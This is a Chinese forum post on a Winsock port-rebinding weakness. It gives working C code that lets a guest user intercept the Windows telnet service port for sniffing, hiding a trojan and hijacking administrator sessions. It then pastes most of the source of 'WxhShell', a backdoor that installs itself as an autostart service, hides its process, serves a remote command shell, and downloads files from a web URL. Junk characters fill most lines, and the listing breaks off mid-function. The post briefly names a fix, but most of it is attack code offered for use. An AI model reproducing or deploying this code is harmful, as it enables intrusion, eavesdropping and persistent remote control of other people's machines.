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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =*)O80oaW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9[]"%6  
Dm`U|<o  
  saddr.sin_family = AF_INET; %w|3:  
bU +eJU_%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J;]@?(  
NB6h/0*v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #L*@~M^]  
H fmMf^c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BrH`:Dw  
}Us$y0W\  
  这意味着什么?意味着可以进行如下的攻击: }mS0{rxD4  
1X:whS5S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]e3}9.  
uC8T!z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pUEok+  
W&re;?Z{ke  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q9'p3"yoE  
X72X:"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -H]f@|AOw  
DDCQAf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @IKe<{w  
8LM1oal}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^DCv-R+ p  
Oj|p`Dzh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lL+^n~g  
CzsY=DBH=  
  #include Dp |FyP_w  
  #include !?-5 hh1\  
  #include r#Oz0=0u  
  #include    DO,&Foh\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ak-7}i  
  int main() > mDubP  
  { s/&]gj "  
  WORD wVersionRequested; ob5nk ^y  
  DWORD ret; I!0 +RP(  
  WSADATA wsaData; Y,Zv0-"  
  BOOL val; :H8L(BsI  
  SOCKADDR_IN saddr; %+W >+xRb  
  SOCKADDR_IN scaddr; /F9lW}pd  
  int err; 7wEG<,D  
  SOCKET s; %L|bF"K5;  
  SOCKET sc; WMl^XZO  
  int caddsize; *t*&Q /W  
  HANDLE mt; zMqEMx9  
  DWORD tid;   \B ^sJ[n  
  wVersionRequested = MAKEWORD( 2, 2 ); tNf" X !  
  err = WSAStartup( wVersionRequested, &wsaData ); |Ie`L("  
  if ( err != 0 ) { hBSJEP  
  printf("error!WSAStartup failed!\n"); e ;u8G/  
  return -1; 4W-+k  
  } ->9xw  
  saddr.sin_family = AF_INET; "@? kxRn!  
   cQ ;Ry!$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8t \>  
A|OC?NZY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [jn;| 3  
  saddr.sin_port = htons(23); BiCa "  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sg~A'dG  
  { M@@O50~  
  printf("error!socket failed!\n"); oi4Wxcj  
  return -1; v23Uh2[@Yy  
  } 0!\q  
  val = TRUE; xVX||rrh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^aWNtY' :  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0BD((oNg  
  { (SVr>|Db  
  printf("error!setsockopt failed!\n"); &+iW:  
  return -1; D)Rf  
  } To? bp4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a-2 {x2O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  Hu2g (!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :R\v# )C  
eyjUNHeh#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) la7QN QW  
  { ]lYEJ`  
  ret=GetLastError(); ",_  
  printf("error!bind failed!\n"); &V{,D))6[  
  return -1; TN_$E&69I  
  } C}EDl2  
  listen(s,2); -{SiK  
  while(1) wo9f99  
  { qyfxTQ5  
  caddsize = sizeof(scaddr); {S(T1ua  
  //接受连接请求 $s!meg@s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uL AXN  
  if(sc!=INVALID_SOCKET) " CoR?[,x  
  { jn Y3G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]}y'3aW  
  if(mt==NULL) nQ3goVRFP  
  { xmx;tq  
  printf("Thread Creat Failed!\n"); VjM uU"++@  
  break; ,X6j$YLWp  
  } x^skoz  
  } ' uw&f;/E  
  CloseHandle(mt); ;CBdp-BUj  
  } SnU{ZGR>sP  
  closesocket(s); A6.'1OD  
  WSACleanup(); ^ w1R"qE"m  
  return 0; 2` qXD fD`  
  }   UH|.@7w  
  DWORD WINAPI ClientThread(LPVOID lpParam) BQg]$Tr?  
  { }"k(kH  
  SOCKET ss = (SOCKET)lpParam; Y\\nJuJo  
  SOCKET sc; gi >{`.]  
  unsigned char buf[4096]; X;>} ;LiK  
  SOCKADDR_IN saddr; X6 cb#s0|  
  long num; b<7 qmg3  
  DWORD val; 3<V!y&a  
  DWORD ret; P9wDTZ :4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nQmYeM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +[`%b3Nk  
  saddr.sin_family = AF_INET; 5~0;R`D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LdUpVO8)l  
  saddr.sin_port = htons(23); ;mlIWn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]~ UkD*Ct  
  { _S1uJ~j;E  
  printf("error!socket failed!\n"); RVx<2,['  
  return -1; k<qH<<r*  
  } KVy5/A/8c  
  val = 100; 6<nO2GW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X\RTHlw']  
  { hZJqo +s  
  ret = GetLastError(); "r+<=JU>OV  
  return -1; 1X.1t^HH:  
  } !{;RtUPz*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e[!>ezaIY  
  { iK:]Q8b  
  ret = GetLastError(); RVnYe='  
  return -1; 0n=E.qZ9c  
  } Gzt5efygKt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yG4MqR)J  
  { JqZ5DjI:  
  printf("error!socket connect failed!\n"); _"V0vV   
  closesocket(sc); [_@OCiV5)  
  closesocket(ss); *[n^6)  
  return -1; .5xg;Qg\Y  
  } *JXJ 2  
  while(1) $0t %}DE  
  { gs >cx]>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~!kbB4`WK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !6C d.fpWL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N/VIP0Kb  
  num = recv(ss,buf,4096,0); zY-m]7Yf  
  if(num>0) tEs$+b  
  send(sc,buf,num,0); ZeZwzH)BD  
  else if(num==0) =T]OYk  
  break; xd@DN;e  
  num = recv(sc,buf,4096,0); p.|; k%c7  
  if(num>0) A[bxxQSP\H  
  send(ss,buf,num,0); %-CC_R|0$  
  else if(num==0) CG;D(AWR;  
  break; A>puk2s  
  } oMbCljUC  
  closesocket(ss); rg~CF<  
  closesocket(sc); (C%'I  
  return 0 ; i$bBN$<b<  
  } [4e5(!e  
8 Hn{CJ~'  
Ex3woT-  
========================================================== +n dyR  
qQ_QF  
下边附上一个代码,,WXhSHELL D6WsEd>  
GZo4uwG@a  
========================================================== <~OyV5:6  
?Dm&A$r  
#include "stdafx.h" qfU3Cwy  
!:5n  
#include <stdio.h> ]u';zJ.  
#include <string.h> b'YbHUyu  
#include <windows.h> M&dtXG8<^  
#include <winsock2.h> *gn*S3Is[j  
#include <winsvc.h> Xk$lQMwZ  
#include <urlmon.h> i}19$x.D`  
8Yh2K}  
#pragma comment (lib, "Ws2_32.lib") f/ZE_MN2  
#pragma comment (lib, "urlmon.lib") f]}F_]  
/rW{rf^  
#define MAX_USER   100 // 最大客户端连接数 9D,& )6  
#define BUF_SOCK   200 // sock buffer Up&q#vqIj  
#define KEY_BUFF   255 // 输入 buffer TfPx   
MR}\fw$(.  
#define REBOOT     0   // 重启 Kf.b <wP{  
#define SHUTDOWN   1   // 关机 6X7_QBC)  
i`~y %y  
#define DEF_PORT   5000 // 监听端口 q}jf&xUWzH  
$((<le5-)  
#define REG_LEN     16   // 注册表键长度 QS}=oOR@k  
#define SVC_LEN     80   // NT服务名长度 D }\`5L<  
Ar==@777j  
// 从dll定义API g i)/iz`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); heWb(E&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pP @#|T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d\v _!7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |}; ~YMH  
5h1j.t!  
// wxhshell配置信息 w9%gaK;  
struct WSCFG { ,#G@ri:B  
  int ws_port;         // 监听端口 Z=|@76  
  char ws_passstr[REG_LEN]; // 口令 ~#@EjQCq  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5IMH G%W7  
  char ws_regname[REG_LEN]; // 注册表键名 ZeO>Ag^  
  char ws_svcname[REG_LEN]; // 服务名 NmQ]qv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4jpF^&y7u^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  J{y@ O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T*IudxW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G\Me%{b#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S%@$J~\rx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IQDWH/ c  
ezn>3?S  
}; Fv9Z'#t  
}5k"aCno  
// default Wxhshell configuration $sJn: 8z  
struct WSCFG wscfg={DEF_PORT, ,>$#e1!J  
    "xuhuanlingzhe", md0=6< }P  
    1,  VV  
    "Wxhshell", dZW:Cf 9K  
    "Wxhshell", n>HNpy  
            "WxhShell Service", sCUPa-cHF  
    "Wrsky Windows CmdShell Service", gJ])A7O  
    "Please Input Your Password: ", +K?h]v]%  
  1, p,Z6/e[SI  
  "http://www.wrsky.com/wxhshell.exe", bY>Ug{O;  
  "Wxhshell.exe" )nY/ RO  
    }; /dfZ>k8  
}DSz_^  
// 消息定义模块 6voK{C4J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o$-P hl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g_=Q=y@,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^.(]i \V_  
char *msg_ws_ext="\n\rExit."; "a: ;  
char *msg_ws_end="\n\rQuit."; tT7$2 9  
char *msg_ws_boot="\n\rReboot..."; iB?@(10}ES  
char *msg_ws_poff="\n\rShutdown..."; Bg`b*(Q  
char *msg_ws_down="\n\rSave to "; [V2l&ZUni  
H)S3/%.|  
char *msg_ws_err="\n\rErr!"; Lg^m?~{  
char *msg_ws_ok="\n\rOK!"; 9hv\%_>o  
ty78)XI  
char ExeFile[MAX_PATH]; Cn,jLy  
int nUser = 0; =8iM,Vl3  
HANDLE handles[MAX_USER]; AKpux,@xB  
int OsIsNt; s+[=nau('w  
$H#&.IjY  
SERVICE_STATUS       serviceStatus; h+Dok#g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U|zW_dj  
E|>I/!{u7`  
// 函数声明 ?d %_o@  
int Install(void); 2d._X$fx7  
int Uninstall(void); 0XYxMN)  
int DownloadFile(char *sURL, SOCKET wsh); Cdv TC`~,  
int Boot(int flag); |"mb 59X  
void HideProc(void); RwwKPE  
int GetOsVer(void); gor6c3i  
int Wxhshell(SOCKET wsl); ' 9,}N:p  
void TalkWithClient(void *cs); 8[DD=[&  
int CmdShell(SOCKET sock); 4MM#\  
int StartFromService(void); Dihk8qJ/6  
int StartWxhshell(LPSTR lpCmdLine); Rwr0$_A  
ri:fo'4TO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |9y &;3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D,hl+P{^K  
-X=f+4j  
// 数据结构和表定义 DxYu   
SERVICE_TABLE_ENTRY DispatchTable[] = g9gyWz  
{ b,c vQD  
{wscfg.ws_svcname, NTServiceMain}, L$b9|j7  
{NULL, NULL} !O5UE  
}; .,c8cq?  
;7hf'k  
// 自我安装 rdK.*oT  
int Install(void) PQfx0n,  
{ v uJ~Lg{  
  char svExeFile[MAX_PATH]; :70oO}0m.  
  HKEY key; u4S3NLG)  
  strcpy(svExeFile,ExeFile); dlW w=^  
p?}Rolk7  
// 如果是win9x系统,修改注册表设为自启动 j#*K[  
if(!OsIsNt) { +?c&Gazi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zYep V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TqlUe@E  
  RegCloseKey(key); +@!9&5S A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / g&mDYV|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I@hC$o  
  RegCloseKey(key); :g,rl\S7  
  return 0; toQn]MT  
    } o6qQ zk  
  } ss[8d%V  
} %PG0PH4?  
else { 9A6ly9DIS  
83 S],L  
// 如果是NT以上系统,安装为系统服务 iw#luHcJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I*#~@:4*  
if (schSCManager!=0) sOHh&e  
{ pZH bj2~  
  SC_HANDLE schService = CreateService $)'{+1  
  ( vOqYt42  
  schSCManager, 97 1qr  
  wscfg.ws_svcname, eSvu:euv  
  wscfg.ws_svcdisp, @}FRiPo6  
  SERVICE_ALL_ACCESS, HloP NE&}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N%T-Q9k  
  SERVICE_AUTO_START, 'aCnj8B  
  SERVICE_ERROR_NORMAL, _-D(N/  
  svExeFile, ic3qb<2  
  NULL, ALKhZFuz  
  NULL, (Q @m;i>  
  NULL, im&| H-  
  NULL, M0^r!f>O  
  NULL 0]"j,  
  ); ,@P3!|  
  if (schService!=0) ] 03!K E  
  { >_5D`^  
  CloseServiceHandle(schService); F~{ 4)`  
  CloseServiceHandle(schSCManager); { }>"f]3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sx/g5 ?zh  
  strcat(svExeFile,wscfg.ws_svcname); 72PDqK#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SkK=VeD>8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e\P+R>i0  
  RegCloseKey(key);  UWu|w  
  return 0; #a/lt^}C*  
    } ~:JKXa?  
  } A\=:h  AQ  
  CloseServiceHandle(schSCManager); 0AaN  
} %~6+=*(\  
} "r[Ea|  
tmm\V7sJ  
return 1; p1 o?^A&  
} >CYg\vas!  
i4->XvC  
// 自我卸载 au GN~"n^  
int Uninstall(void) (OJ}|*\e  
{ @]OI(B  
  HKEY key; {t9U]hX%A[  
)Dv"seH.  
if(!OsIsNt) { 6/GhQ/T%D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '2%hc\P6P  
  RegDeleteValue(key,wscfg.ws_regname); 1pc|]9B  
  RegCloseKey(key); Z3S\@_/;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6z/8n f +u  
  RegDeleteValue(key,wscfg.ws_regname); (US8Sc  
  RegCloseKey(key); 1Og9VG1^  
  return 0; 6R?J.&|  
  } zis-}K<   
} !Dz:6r  
} ;aD_^XY  
else { iA%3cpIc(Z  
-,Q<*)q{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YpuA,r;"  
if (schSCManager!=0) 1pcSfN:"1  
{ Muarryh}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $i =-A  
  if (schService!=0) &jj\-;=~Ho  
  { M>0~Ek%3  
  if(DeleteService(schService)!=0) { xE+Go  
  CloseServiceHandle(schService); z muq4-.  
  CloseServiceHandle(schSCManager); hI?<F^b  
  return 0; {a>)VZw_#  
  } 6_9w1 ,W E  
  CloseServiceHandle(schService); \ 0:ITz  
  } AjZT- Q0L  
  CloseServiceHandle(schSCManager); &qo'ge8p  
} EkJo.'0@  
} V,2O `D%  
}}ogdq  
return 1; *aTM3k)Zs  
} k5<lkC2z  
{VI%]n{M  
// 从指定url下载文件 5Lue.U%a  
int DownloadFile(char *sURL, SOCKET wsh) 8l?]UFM>C  
{ b#$:XS  
  HRESULT hr; 4$_8#w B1&  
char seps[]= "/"; 'o5[ :=K  
char *token; u D . 0?*_  
char *file; IMVoNKW-  
char myURL[MAX_PATH]; :s8,i$Ex  
char myFILE[MAX_PATH]; "i#!  
<nIU]}q  
strcpy(myURL,sURL); n)pBK>+  
  token=strtok(myURL,seps); uZ OUp8QQ  
  while(token!=NULL) pKp#4Js  
  { L!{^^7  
    file=token; %S@XY3jZY  
  token=strtok(NULL,seps); 9WBDSx_(Q  
  } |z5olu$gVc  
VM-J^  
GetCurrentDirectory(MAX_PATH,myFILE); M`"2;  
strcat(myFILE, "\\"); W>+<r9Rt4  
strcat(myFILE, file); c5Offnq'1  
  send(wsh,myFILE,strlen(myFILE),0); {\ .2h  
send(wsh,"...",3,0); 2b!b-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZW,PZ<  
  if(hr==S_OK) z?V> ST  
return 0; 4N*^%  
else D:){T>  
return 1; 'X`\vTxB  
hI/p9 `w  
} uE/qraA  
g |2D(J  
// 系统电源模块 #&DJ3(T  
int Boot(int flag) ,$CZ (GQ  
{ 3aW4Gs<g  
  HANDLE hToken; #He:p$43  
  TOKEN_PRIVILEGES tkp; J,jl(=G  
mD|<qsY)  
  if(OsIsNt) { 0E++  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KX*e2 /0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LZ^sc  
    tkp.PrivilegeCount = 1; Av/|={i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .k[Ptx>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^QXUiXzl  
if(flag==REBOOT) { |Z!C`G[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~PS%^zxyn  
  return 0; Oi7:J> [  
} M8 ++JI  
else { F2+lwycY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NH|v`rO  
  return 0; ysvn*9h+&  
} >2N` l  
  } <$ '#@jW  
  else { b}[{'  
if(flag==REBOOT) { F7=a|g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mB_ba1r  
  return 0; W;j*lII  
} ' Bdvqq  
else { zYH6+!VBH#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UIzk-.<  
  return 0; _{T`ka  
} $k}+,tHtJO  
} W6]iJ  
b$g.">:$  
return 1; W>s<&Vb  
} EEF}Wf$f  
40+E#z)  
// win9x进程隐藏模块 48w3gye  
void HideProc(void) SkN^ytKE  
{ E6BW&Xp  
vUj7rDT|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ik~5j(^E-  
  if ( hKernel != NULL ) IgSe%B  
  { i"U3wt |A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >Utn[']~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V8&%fxn+  
    FreeLibrary(hKernel); g"<kj"  
  } \#~~,k 6f  
gNe{P~ $=  
return; !L>'g  
} v82@']IN  
OhIUm4=|$  
// 获取操作系统版本 }p."7(  
int GetOsVer(void) {dCkiF  
{ {T.$xiR  
  OSVERSIONINFO winfo; A:k`Ykr[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  #]n[  
  GetVersionEx(&winfo); TS@EE&Wq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NcqE)"yObo  
  return 1; c a$D|3  
  else R?^FO:nM%!  
  return 0; uy7)9w  
} V@T G"YF  
sE]eIN  
// 客户端句柄模块 _U'edK]R  
int Wxhshell(SOCKET wsl) 8=t?rA  
{ vR#A7y @ !  
  SOCKET wsh; Y|KX:9Y@  
  struct sockaddr_in client; 5wr0+Xo  
  DWORD myID; h]G }E9\l  
vFy /  
  while(nUser<MAX_USER) R"K{@8b  
{ W~R_- ]k@g  
  int nSize=sizeof(client); 2<YHo{0BLS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wG19NX(  
  if(wsh==INVALID_SOCKET) return 1; 4W$53LP8  
|yw-H2k1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l,pq;>c9a  
if(handles[nUser]==0) u V=rLDY  
  closesocket(wsh); 8={(Vf6  
else <K|_M)/9  
  nUser++; b(K.p?bt  
  } 3{~h Rd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nL@P {,J  
hg=\L5R  
  return 0; _d)w, ;m#  
} O^|,Cbon6  
C+O`3wPZp  
// 关闭 socket nn5S7!  
void CloseIt(SOCKET wsh) B.|2w  
{ #S_LKc  
closesocket(wsh); :P;#Y7}Y$  
nUser--; r=8]Ub[  
ExitThread(0); W:hR8 1ci  
} E$*I.i_m  
&<k )W  
// 客户端请求句柄 F0]= z-  
void TalkWithClient(void *cs) E70  
{ NAHQ:$  
Xs*~ [k'  
  SOCKET wsh=(SOCKET)cs; Mx0c # d.  
  char pwd[SVC_LEN]; T3wR0,  
  char cmd[KEY_BUFF]; ,tmo6D62  
char chr[1]; I0GL/a 4s  
int i,j; Eq'YtqU  
Y"G$^3% (]  
  while (nUser < MAX_USER) { Koahd =  
aD 24)?db-  
if(wscfg.ws_passstr) { H~@aT7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &UQKZ.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pbd#Fu;  
  //ZeroMemory(pwd,KEY_BUFF); $Iv*?S"2  
      i=0; Iu%/~FgPj{  
  while(i<SVC_LEN) { ApjLY58=  
X!nI{PE  
  // 设置超时 [Zi\L>PHO  
  fd_set FdRead; vqv(KsD+::  
  struct timeval TimeOut; >PL/>   
  FD_ZERO(&FdRead); `hI1  
  FD_SET(wsh,&FdRead); st'Y j  
  TimeOut.tv_sec=8; ZVgR7+`]#  
  TimeOut.tv_usec=0; 5as';1^P&*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HwM:bY N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >/ HC{.k  
) Q~Q .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5N`g  
  pwd=chr[0]; DpI_`TF#$Z  
  if(chr[0]==0xd || chr[0]==0xa) { ?jz{fU  
  pwd=0; |oPqX %?  
  break; 7q$9\RR5  
  } Ay"x<JB{U2  
  i++; (Q#ArMMORI  
    } z[ IG+2  
K ,+`td#  
  // 如果是非法用户,关闭 socket *E+) mB"~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Z~>7ayF+)  
} Z*jhSy  
S7~yRIjB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~8}"X] 4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =]U[   
V4/eGh_T  
while(1) { gd#  
%Xkynso~  
  ZeroMemory(cmd,KEY_BUFF); K31Fp;K  
r(J7&vR}h  
      // 自动支持客户端 telnet标准   ' G) Wy|*  
  j=0; I{B8'n{cN  
  while(j<KEY_BUFF) { klv^310  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); izmL8U ?t  
  cmd[j]=chr[0]; + +D(P=4hi  
  if(chr[0]==0xa || chr[0]==0xd) { T*|?]k 8@*  
  cmd[j]=0; V +*Vi^  
  break; QBai;p{  
  } .:l78>f  
  j++; d=N5cCqq  
    } u&2uQ-T0  
dpGaI  
  // 下载文件 Hagj^8  
  if(strstr(cmd,"http://")) { P8z+ +h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c\]h YKA  
  if(DownloadFile(cmd,wsh)) jk) V[7P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |VaXOdD`&  
  else oV,>u5:B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j%~UU0(J  
  } 6;[iX`LL  
  else { }*IX34  
n3~xiQ'  
    switch(cmd[0]) { @2kt6 W  
  :m@(S6T m  
  // 帮助 LW ntZ.  
  case '?': { ~cU,3g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B6OggJ9Iq  
    break; O#cXvv]Z*  
  } z$%ntN#eNA  
  // 安装 F RS@-P  
  case 'i': { YC*S;q  
    if(Install()) P0}uTee  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <bIAq8  
    else k. px  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T~`m'4"+c  
    break; tUz!]P2BUO  
    } -%%2Pz0I  
  // 卸载 N@;6/[8  
  case 'r': { gLd3,$ Ei  
    if(Uninstall()) J=zh+oLCV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +#'exgGU^[  
    else a+r0@eFLc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v<3i~a  
    break; &[23DrI8  
    } GMB%A  
  // 显示 wxhshell 所在路径 CQ#p2  
  case 'p': { Il*wVNrZI  
    char svExeFile[MAX_PATH]; VGq2ITg9eE  
    strcpy(svExeFile,"\n\r"); {Qlvj.Xw  
      strcat(svExeFile,ExeFile); \>:(++g  
        send(wsh,svExeFile,strlen(svExeFile),0); N ?0V0B  
    break; rs 7R5 F  
    } A%%WPBk{O  
  // 重启 rw8db'  
  case 'b': { zF\k*B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wzP>Cq  
    if(Boot(REBOOT)) !oM 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3M\&}=8  
    else { V&)-u(s_S/  
    closesocket(wsh); *hFT,1WE=+  
    ExitThread(0); DQKhR sC  
    } LD]XN'?"W  
    break; J&{E  
    } YI&^j2  
  // 关机 tw\/1wa.  
  case 'd': { AGPZd9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !3?HpR/nV  
    if(Boot(SHUTDOWN)) iMJjWkk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %UgyGQeo  
    else { Y 1LE.{  
